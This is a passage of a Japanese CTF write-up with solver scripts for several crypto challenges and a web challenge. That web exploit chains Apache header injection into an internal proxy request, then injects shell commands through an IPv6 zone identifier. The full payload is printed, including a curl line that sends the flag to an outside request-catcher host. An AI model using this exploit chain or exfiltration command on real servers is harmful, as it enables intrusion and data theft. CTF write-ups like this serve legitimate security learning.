    "4c8872081ad43cc903f7b7e43cd19fc0595a8ad4df0d68b412cf71c328d641302a6619a8f5e48c7e0eabc53fe3b553e826c75201bd57b3a0be64ef39380b3c750eee5f36788ccbd5b21aa46438882aad506f2c381732d05fbc9ae81d4f76dab0fb4e418821244f94b284e6bcaa5d4f0b6c3121524f18f2620929bec33ea3866178c65c005ada5df97d835e6cb73b060a64d3040d214aa14723d02bde5a615f57f45a048ef0c0f81a2a6346ac1fa8f268fa8156",
    "44c876085fd2778c39bfa1b02cdb83c44e1ad980c40b27b514dd32c129995a75217d4bafb0fc806219e2d432a6b452b426fe4644bf56b9aced27e7233802726419ff587977df909dba07b02139c728ae046830245076d349b091f54e1424c1b6f91941b03d3a03daba9fe7b6f8570805637f21560a01ed3f0916ba9073a5907b2c885c010e9b42fc759a1f74ac7e1b1764c10f482657ea463e87368e51614d14ef5b0995ecc4bb05626d47fe51b4e868aa9d1ee91cb1dbb7ccb7ecb59238c190d47324f77485bcf87e86b461c0166681da67062550735565ae36a5c7757f1db3d0441a752cd6e5d101d1020894e27a91f934d90cae8fe4ed3f5b386d23f54ae71b95c89b30dba2b486ae0bfbcea745de77e66cd1f20e055bbab48f8852f62b69c9435a14e15a1be58c659c23ee44d204d55c095f3d5628a100dce20814b817929982e95cb88e97c9c14222b619b44aee40906c3dba40fb67c6dd",
    "44c86d4d1edc608c36fbabe43acd95de53509a9cc90d6ca808db71cb2fcb1663376c07a1a2fb9b675da3d12aefb554b226fa5c44e95eb8baf762e0397b11797317f95565378cf5dbfb1dbc68398827ae116336241721d45ff58de71c1776c1bebe560fdf272447d1adcbf5b7e9544904713237481b41a1050e12b7c335bf9b7178d8411b15dd1fb550810a38b6384f113080081b7358e25c38863d8e5d6b5b5ba0414c9fec81ec142a6452a85afbe72dfa8017ab05a796f8998af0fa833ece99d47d66c63c8defbb7287a268c55a6180da6500224c7f556bec71eac234640d7133bf067f6885e89801df5712ddf67295f9678e00bd92e4f33c4e7b6a22f549ed1b89d88a62dbb8f18ab44eff85a779d76ef62bc0e955",
    "5a8a200e1ede7c8623bfb3a23fd088c900159c87c51a66b50fd33f8a7af05030336102bef5fd9a2c1ce2d439e3ba44ae2aae4049ac51f6adf662ae05320474303be444787ac5d09aa849b26e38cb20b8506d38331737d95eb09ce2174334cbf8f15941903d3a03c0ad8af9b5a41c6d1c603172520708a13f441fb78f36a5813535c140001bd054b5719b0b74bb7e0b172bcd4107264ba14d3f8431dc56244f16ed454593e5cfb5515d6913b34aa8f22de99d16af00b096f6d8b7a4b58e32ded5d93b24cc699eefb96f8aa063c11660819c6c07225d691b6ae360af9537730cfd934800743884e8d948c34704d3",
    "4897610e0bdc6bc777debca079da8cc84e5d90928c1962e114d93cc533d71665297a0ea8bbb48f630fe2d824f1f707b163ae5a44ac5bf6baf169fa243504797e1bf2116675cdd2cef5499d676adc2dae5043363f5935dc40f59be91c173fc8b1fb4441963c3b03d9be8cf9baeb500808642d204f0a1ff2600909bec330b980793c885f1b09de11f471971b6bac7e1b1764d4090d3a4ba15b258237c0546c431be4460adac6cebb066f2c5bbf49bea66caa811daa06ac9fb7cbbaa4b78530d586903262837982bbaa64c9a86b84426c81da791b38557b497ba271abc1303600e093580a782493e38b",
    "548a73415fd2679d77e8b7e434ca89d900098b91cd1a27a8129c3eca36c0167134290aedb9f59a785db0d338e9a953e826c75201be5af6b8fd73e73b3a17793011ff116276c39cceb406ba2d6adf20eb02692a211724d05ab09cea070d318eb1ea444193272b42c0b684fef7aa755c4a6c2c724a0e0fe4204c1afb8220ecd55d0cea483708d253ca56861f7fb837011f1be519183f56e85c308431c15d5b7b1ef45d7bb1e7d8c43f656250bb6089e378f99759b4",
    "4a806f0951905c8677edb7a736cd9e8d4f1bd99dd84e6ab415c871c122d04564676005eda1fc8c2c0ab0df3ff2be49e672e15944ba11f690be70e7213743797e0bfe437339cdd0d1fb1da66029cd36eb11723c6a5224d45fb099aa4e0238caf8f743418c20294fd8ff85f5afef4e0808607f21560006e4220911bdc33ca6907b34d11d5433dd11e17a915e7db13b020164c5170d2119ed4d308236dd136b4a57e94108daf5c4bb0663605ffe57baf068aa9c17e91aa798b9d7a7a4b98830d596d573",
    "4c8872081ad43cc903f7b7e434d088c8000a9cd4c80774a213cf228433cd1a3033610eedb2e68c6d09a7c46bf2b342e674e7474ae71f93affb75f76d360c717516ff11617c8cd8d8b708ad2d6adc2dae5043363f5935dc40f58ef21c0638c9acf6520f8c682157c7ff8ff5bfef525b0f767172710a4dec395a0afb8230a2d56637c75d5418de57fa60915e77aa2c4f0f2dce05072419ee4e719f28de5c765802ee5c5083a2c2f71e796940f0",
    "5a8a201e17df678533bfb7aa3d9f8ec5490ed999c90b73a808db71c534dd167d287f0eeda1fbc96d5dafd939e3fb54a365fb4644e94cb7b7fd73fb207543557658ff597370de9cd0ba0eb1726ac737eb0370302f4476d45eb0dde5020c25c7b6f9170891646857dcba92b0b4eb4508036b2b37540c08f1380911ae9173a19a673cdb1d542dde11f867870a38b1311b5830c10a0d734de94925d03bc6526a4f12ae15689ff681ef19637f13bc5afbf265efd214a81ab6dbbbdcb0f7bb87349b9cde7d70cb759fefa87188a2688a",
    "2c83650c09d5",
    "2c83650c09d5",
    "2c83650c09d5"
]

known_stream = "0def006d7fb012e9579fd2c459bffaad207df9f4ac6e07c166bc51a45ab9361047096bcdd594e90c7dc2b64b86db27c6068e3421c93fd6d99e078e4d5b631c10788b311619acbcbddb69d4014aa845cb7000594a3756b52cd5fd866e6356aed89e3761ff484823b4dfeb90d98a3c286a055f52266f6d814c297edbe353d6f51558a833747abb319512f47e18df5e6f7844a061685339812851f058ae33042c77803524fa82a19b710a0c33de3fdb860d8af278c9"

'''
for c1 in "0123456789abcdef":
    for c2 in "0123456789abcdef":
        print(c1 + c2, "gogo!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!")
        for message in messages:
            stream = known_stream + c1 + c2
            min_len = min(len(message), len(stream))
            encrepted = bytes.fromhex(message[:min_len])
            keystream = bytes.fromhex(stream[:min_len])
            print(strxor(encrepted, keystream))
'''

for message in messages:
    stream = known_stream
    min_len = min(len(message), len(stream))
    encrepted = bytes.fromhex(message[:min_len])
    keystream = bytes.fromhex(stream[:min_len])
    print(strxor(encrepted, keystream))

こういう感じで… 自動化できるのか分からず全部自力で出力を見ながら1文字ずつ復元していった。しんどすぎる。

[crypto] Hourcle

A powerful enchantment meant to obscure has been carelessly repurposed, revealing more than it conceals. A fool sought security, yet created an opening for those who dare to peer beyond the illusion. Can you exploit the very spell meant to guard its secrets and twist it to your will?

問題ソースコードは以下。

from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import os, string, random, re

KEY = os.urandom(32)

password = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])

def encrypt_creds(user):
    padded = pad((user + password).encode(), 16)
    IV = os.urandom(16)
    cipher = AES.new(KEY, AES.MODE_CBC, iv=IV)
    ciphertext = cipher.decrypt(padded)
    return ciphertext

def admin_login(pwd):
    return pwd == password


def show_menu():
    return input('''
=========================================
||                                     ||
||   🏰 Eldoria's Shadow Keep 🏰       ||
||                                     ||
||  [1] Seal Your Name in the Archives ||
||  [2] Enter the Forbidden Sanctum    ||
||  [3] Depart from the Realm          ||
||                                     ||
=========================================

Choose your path, traveler :: ''')

def main():
    while True:
        ch = show_menu()
        print()
        if ch == '1':
            username = input('[+] Speak thy name, so it may be sealed in the archives :: ')
            pattern = re.compile(r"^\w{16,}$")
            if not pattern.match(username):
                print('[-] The ancient scribes only accept proper names-no forbidden symbols allowed.')
                continue
            encrypted_creds = encrypt_creds(username)
            print(f'[+] Thy credentials have been sealed in the encrypted scrolls: {encrypted_creds.hex()}')
        elif ch == '2':
            pwd = input('[+] Whisper the sacred incantation to enter the Forbidden Sanctum :: ')
            if admin_login(pwd):
                print(f"[+] The gates open before you, Keeper of Secrets! {open('flag.txt').read()}")
                exit()
            else:
                print('[-] You salt not pass!')
        elif ch == '3':
            print('[+] Thou turnest away from the shadows and fade into the mist...')
            exit()
        else:
            print('[-] The oracle does not understand thy words.')

if __name__ == '__main__':
    main()

KalmarCTF 2025の[cry] Very Serious Cryptographyと全く同じ方針で解ける。説明大変なのでソルバだけ。

from ptrlib import *
import re, string
from Crypto.Util.strxor import *

#sock = remote("", )
sock = Process(["python3", "crypto_hourcle/server.py"])

dic = string.ascii_letters+string.digits
n = len(dic)

password = b""
for i in range(16):
    username = b"A" * 16
    for c in dic:
        username += (b"A" * 15 + password)[-15:] + c.encode()
    username += b"A" * 16
    username += b"A" * (15 - i)

    sock.sendlineafter("Choose your path, traveler :: ", "1")
    sock.sendlineafter("[+] Speak thy name, so it may be sealed in the archives :: ", username)
    encrypted_hex = sock.recvlineafter("encrypted scrolls: ").decode().strip()
    encrypted = bytes.fromhex(encrypted_hex)

    goal = strxor(encrypted[(1 + n + 1) * 16:(1 + n + 2) * 16], username[(n + 1) * 16:(1 + n + 1) * 16])

    for i in range(n):
        test = strxor(encrypted[(1 + i) * 16:(1 + i + 1) * 16], username[(i) * 16:(1 + i) * 16])
        if test == goal:
            password += dic[i].encode()
            break

    print(password)

password_post = b""
for i in range(4):
    username = b"A" * 16
    for c in dic:
        username += (password + password_post)[-15:] + c.encode()
    username += b"A" * (15 - i)

    sock.sendlineafter("Choose your path, traveler :: ", "1")
    sock.sendlineafter("[+] Speak thy name, so it may be sealed in the archives :: ", username)
    encrypted_hex = sock.recvlineafter("encrypted scrolls: ").decode().strip()
    encrypted = bytes.fromhex(encrypted_hex)

    username += password

    goal = strxor(encrypted[(1 + n + 1) * 16:(1 + n + 2) * 16], username[(n + 1) * 16:(1 + n + 1) * 16])

    for i in range(n):
        test = strxor(encrypted[(1 + i) * 16:(1 + i + 1) * 16], username[(i) * 16:(1 + i) * 16])
        if test == goal:
            password_post += dic[i].encode()
            break

    print(password_post)

ans = password + password_post
sock.sendlineafter("Choose your path, traveler :: ", "2")
sock.sendlineafter(" :: ", ans)
sock.interactive()

[crypto] Prelim

Cedric has now found yet another secret message, but he dropped it on the floor and it got all scrambled! Do you think you can find a way to undo it?

スクランブルされたメッセージから元のメッセージを復元し、暗号化されたフラグを復号する。ソースコードは以下。

from random import shuffle
from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad

n = 0x1337
e = 0x10001

def scramble(a, b):
    return [b[a[i]] for i in range(n)]

def super_scramble(a, e):
    b = list(range(n))
    while e:
        if e & 1:
            b = scramble(b, a)
        a = scramble(a, a)
        e >>= 1
    return b

message = list(range(n))
shuffle(message)

scrambled_message = super_scramble(message, e)

flag = pad(open('flag.txt', 'rb').read(), 16)

key = sha256(str(message).encode()).digest()
enc_flag = AES.new(key, AES.MODE_ECB).encrypt(flag).hex()

with open('tales.txt', 'w') as f:
    f.write(f'{scrambled_message = }\n')
    f.write(f'{enc_flag = }')

何か、パッと見て枠組みがRSA暗号っぽく、また巡回群になりそうな雰囲気もあったので、適当にdを計算してd回スクランブルするともとに戻った。どうやって位数を計算するかが問題だが、調べるとこういう並び替えの位数は対称群というらしい。で、対象群の位数はn!らしいので、これをphiとして使うとフラグが得られる。結構時間がかかる。

from hashlib import sha256
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
import math

n = 0x1337
e = 0x10001

with open('crypto_prelim/tales.txt', 'r') as f:
    lines = f.readlines()
    exec(lines[0])
    exec(lines[1])

def find_permutation_order():
    order = 1
    for i in range(1, n+1):
        order = order * i
    return order

def scramble(a, b):
    return [b[a[i]] for i in range(n)]

def super_scramble(a, exp):
    b = list(range(n))
    while exp:
        if exp & 1:
            b = scramble(b, a)
        a = scramble(a, a)
        exp >>= 1
    return b

order = find_permutation_order()
d = pow(e, -1, order)

recovered_message = super_scramble(scrambled_message, d)
key = sha256(str(recovered_message).encode()).digest()

cipher = AES.new(key, AES.MODE_ECB)
decrypted_flag = cipher.decrypt(bytes.fromhex(enc_flag))
print(decrypted_flag)

[crypto] Copperbox

Cedric found a mysterious box made of pure copper in the old archive. He is convinced that it contains the secrets he is looking for, but he is unable to penetrate the metal case. Can you help?

source.pyを見てみよう。

import secrets

p = 0x31337313373133731337313373133731337313373133731337313373133732ad
a = 0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef
b = 0xdeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0de

def lcg(x, a, b):
    while True:
        yield (x := a*x + b)

flag = open('flag.txt', 'rb').read()
x = int.from_bytes(flag + secrets.token_bytes(30-len(flag)), 'big')
gen = lcg(x, a, b)

h1 = next(gen) * pow(next(gen), -1, p) % p
h2 = next(gen) * pow(next(gen), -1, p) % p

with open('output.txt', 'w') as o:
    trunc = 48
    # oops, i forgot the last part
    o.write(f'hint1 = {h1 >> trunc}\n')
    o.write(f'hint2 = {h2 >> trunc}\n')

線形合同法(LCG)という擬似乱数生成器が使用されて、一部がその一部が与えられているので、復元しようという問題。ビット数を計算してみる。

p = 0x31337313373133731337313373133731337313373133731337313373133732ad  # 256ビット
a = 0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef  # 256ビット
b = 0xdeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0de  # 256ビット

また、ヒントがh1とh2の上位ビットであることを考え、不明部分をk1、k2とおいて整理すると、

h1 = (hint1 << 48) + k1  # 0 ≤ k1 < 2^48
h2 = (hint2 << 48) + k2  # 0 ≤ k2 < 2^48

と書けて、それぞれ48ビットの範囲にある。不明変数のビットが割と小さいので、タイトルも考慮してCoppersmithを考える。

まず、h1とh2の関係式を利用して、初期値xに関する方程式を作る。

h1 = ((a * x + b) * pow(a² * x + a * b + b, -1, p)) % p
h2 = ((a³ * x + a² * b + a * b + b) * pow(a⁴ * x + a³ * b + a² * b + a * b + b, -1, p)) % p

で、次にxが邪魔なので、xについて整理して、

# 式1からxを解く
num1 = (b * (1 - h1 * a - h1)) % p
denom1 = (h1 * a² - a) % p
x_from_eq1 = (num1 * pow(denom1, -1, p)) % p

# 式2からxを解く
num2 = (b * (a² + a + 1 - h2 * (a³ + a² + a + 1))) % p
denom2 = (h2 * a⁴ - a³) % p
x_from_eq2 = (num2 * pow(denom2, -1, p)) % p

これでx=になったので1つにできる。

x_from_eq1 = x_from_eq2 

これで、h1,h2はk1,k2の式に書き換えられるので、式を整理すると、k1とk2のみを含む式が得られる。以下のように式が作れる。

p = 0x31337313373133731337313373133731337313373133731337313373133732ad
a = 0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef
b = 0xdeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0de
hint1 = 77759147870011250959067600299812670660963056658309113392093130
hint2 = 50608194198883881938583003429122755064581079722494357415324546

R.<k1, k2> = PolynomialRing(Zmod(p))

h1 = (hint1 << 48) + k1
h2 = (hint2 << 48) + k2

eq1_coef = (1 - h1 * a - h1) * (h2 * a^4 - a^3)
eq2_coef = (a^2 + a + 1 - h2 * (a^3 + a^2 + a + 1)) * (h1 * a^2 - a)

F = eq1_coef - eq2_coef
print(F)

# 1961982694225541880497360395061660634486286932178941068906468163113256678403*k1*k2 + 3276368611103736709462489514014829825373913247732426508837946011895121417131*k1 + 636635935351167158358283082314139370122759537883179877649535709106403505321*k2 + 1375724961246885531150427986583101825848232338574645178822111452960476131247

結果を見ると、k1*k2も出てきているが、これも1つの変数としてまとめて、k12,k1,k2の3つの未知変数で多変数Coppersmithをやる。

p = 0x31337313373133731337313373133731337313373133731337313373133732ad

load('coppersmith.sage') # https://raw.githubusercontent.com/defund/coppersmith/refs/heads/master/coppersmith.sage

Z.<kk12, kk1, kk2> = PolynomialRing(Zmod(p))
bounds = [2**100, 2**50, 2**50]
f = 1961982694225541880497360395061660634486286932178941068906468163113256678403*kk12 + 3276368611103736709462489514014829825373913247732426508837946011895121417131*kk1 + 636635935351167158358283082314139370122759537883179877649535709106403505321*kk2 + 1375724961246885531150427986583101825848232338574645178822111452960476131247
ret = small_roots(f, bounds, m=2, d=4)
if ret != []:
    print(ret) # [(13182624764637853451387439645, 53006259096585, 248699398699637)]

パラメタの指定方法が一生分からないが、m=2, d=4で解けた。(なんだこれ)これでk1,k2が求められたので、あとは逆計算をして、フラグを取得する。

p = 0x31337313373133731337313373133731337313373133731337313373133732ad
a = 0xdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeefdeadbeef
b = 0xdeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0dedeadc0de
hint1 = 77759147870011250959067600299812670660963056658309113392093130
hint2 = 50608194198883881938583003429122755064581079722494357415324546
k1 = 53006259096585
k2 = 248699398699637

h1 = (hint1 << 48) + k1
h2 = (hint2 << 48) + k2

# xを計算
num = (b * (1 - h1 * a - h1)) % p
denom = (h1 * a**2 - a) % p
x = (num * pow(denom, -1, p)) % p

print(x.to_bytes(30, 'big'))

[web] Cyber Attack

Welcome, Brave Hero of Eldoria. You’ve entered a domain controlled by the forces of Malakar, the Dark Ruler of Eldoria. This is no place for the faint of heart. Proceed with caution: The systems here are heavily guarded, and one misstep could alert Malakar’s sentinels. But if you’re brave—or foolish—enough to exploit these defenses, you might just find a way to weaken his hold on this world. Choose your path carefully: Your actions here could bring hope to Eldoria… or doom us all. The shadows are watching. Make your move.

ソースコード有り。ドメインIPアドレスに対してpingを実行する機能があるサイトが与えられるので、最終的にはコマンドインジェクションする問題。最も目を引くのが、以下の部分。

# attack-domainの一部:
os.popen(f'ping -c {count} {target}')

# attack-ipの一部:
os.popen(f'ping -c {count} {ip_address(target)}')

attack-domainからattack-ipへ

最初は、attack-domainにしかアクセスができず、attack-ipはApacheの設定でアクセスが内部からしか許されていません。

ServerName CyberAttack 

AddType application/x-httpd-php .php

<Location "/cgi-bin/attack-ip"> 
    Order deny,allow
    Deny from all
    Allow from 127.0.0.1
    Allow from ::1
</Location>

attacker-domainから見ていこう。

#!/usr/bin/env python3

import cgi
import os
import re

def is_domain(target):
    return re.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$', target)

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')
if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
    
elif is_domain(target):
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {target}') 
    print(f'Location: ../?result=Succesfully attacked {target}!')
else:
    print(f'Location: ../?error=Hey {name}, watch it!')
    
print('Content-Type: text/html')
print()

targetがコマンドインジェクション可能そうなポイントですが、正規表現が厳しく攻撃に発展させることはできない。では、脆弱点はどこかというとprint(f'Location: ../?error=Hey {name}, watch it!')で、nameはバリデーションされず、そのまま利用されています。よって、この部分に置いてヘッダ―インジェクションが発生することになります。

ここから2日間くらい紆余曲折しながらインターネットをさまよいながら考えると、レスポンスよりServer: Apache/2.4.54 (Debian)と若干Apacheが古いことに気が付きます。

…これは、Orangeさんのアレか!

Confusion Attacks: Exploiting Hidden Semantic Ambiguity in Apache HTTP Server!
https://blog.orange.tw/posts/2024-08-confusion-attacks-en/

ここに

#!/usr/bin/perl 
 
use CGI;
my $q = CGI->new;
my $redir = $q->param("r");
if ($redir =~ m{^https?://}) {
    print "Location: $redir\n";
}
print "Content-Type: text/html\n\n";

というサンプルが紹介されており、同じ状況です。この状況では、サーバ側から任意のヘッダーを送れるときに、内部プロキシをうまく使ってSSRFしたりRCEしたりできるというものです。まさしくやりたいことと一致しています。

という訳で、Orangeさんのブログからpayloadを借りながらガチャガチャやっていると、nameに改行を%0d%0aとして、

Location:/yyy
Content-Type:proxy:http://localhost/cgi-bin/attack-ip?target=192.168.0.1&name=hoho

というのを入力してやると、LocationとContent-Typeヘッダーがレスポンスに差し込まれ、それをApacheが応答前に利用して、再度折り返し/cgi-bin/attack-ipにリクエストしてくれて、その結果を返してくれるようになります。このリクエストはApacheからの通信となるので、IPアドレス制限を突破できる。

attack-ipでRCE

次はattack-ipのバリデーションを回避していきます。以下がソースコードです。

#!/usr/bin/env python3

import cgi
import os
from ipaddress import ip_address

form = cgi.FieldStorage()
name = form.getvalue('name')
target = form.getvalue('target')

if not name or not target:
    print('Location: ../?error=Hey, you need to provide a name and a target!')
try:
    count = 1 # Increase this for an actual attack
    os.popen(f'ping -c {count} {ip_address(target)}') 
    print(f'Location: ../?result=Succesfully attacked {target}!')
except:
    print(f'Location: ../?error=Hey {name}, yatta!')
    
print('Content-Type: text/html')
print()

targetをip_addressを使って検証して入れ込んでいます。パッと見、挿入は無理そうなのですが、ip_address関数の実装を眺めるとRFC4007を読めと書いてあります。なので、読んでみると11. Textual RepresentationIPv6アドレスにゾーン識別子を指定できる仕様が記載されています。これは%記号を使用して表現され、その後に任意の文字列が続く形式。これは使えそうなので試してみると…

>>> ip_address("fe80::1234%;pwd|curl sdafsadrearaessreshrdagrtse.requestcatcher.com -X POST -d @-")
IPv6Address('fe80::1234%;pwd|curl sdafsadrearaessreshrdagrtse.requestcatcher.com -X POST -d @-')

まさしくやりたかったことです。これでコマンドインジェクションする土壌が整いました。

最終的なコード

ということで、これらを組み合わせて以下のようなリクエストによってフラグが得られます。

GET /cgi-bin/attack-domain?target=b@example.example&name=%0d%0aLocation%3a%2fyyy%0d%0aContent-Type%3aproxy%3ahttp%3a%2f%2flocalhost%2fcgi-bin%2fattack-ip%3ftarget%3dfe80%253A%253A1234%2525%253Bcd%2520%252E%252E%253Bcd%2520%252E%252E%253Bcd%2520%252E%252E%253Bcat%2520flag%252A%257Ccurl%2520sdafsadrearaessreshrdagrtse%252Erequestcatcher%252Ecom%2520%252Dd%2520%2540%252D%26name%3dhoho%0d%0a%0d%0a

実行コマンドはip_address関数によって/が使えないのでcd ..; cd ..; cd ..; cat flag*|curl sdafsadrearaessreshrdagrtse.requestcatcher.com -d @-みたいな感じでルートに移動してフラグを取ってきています。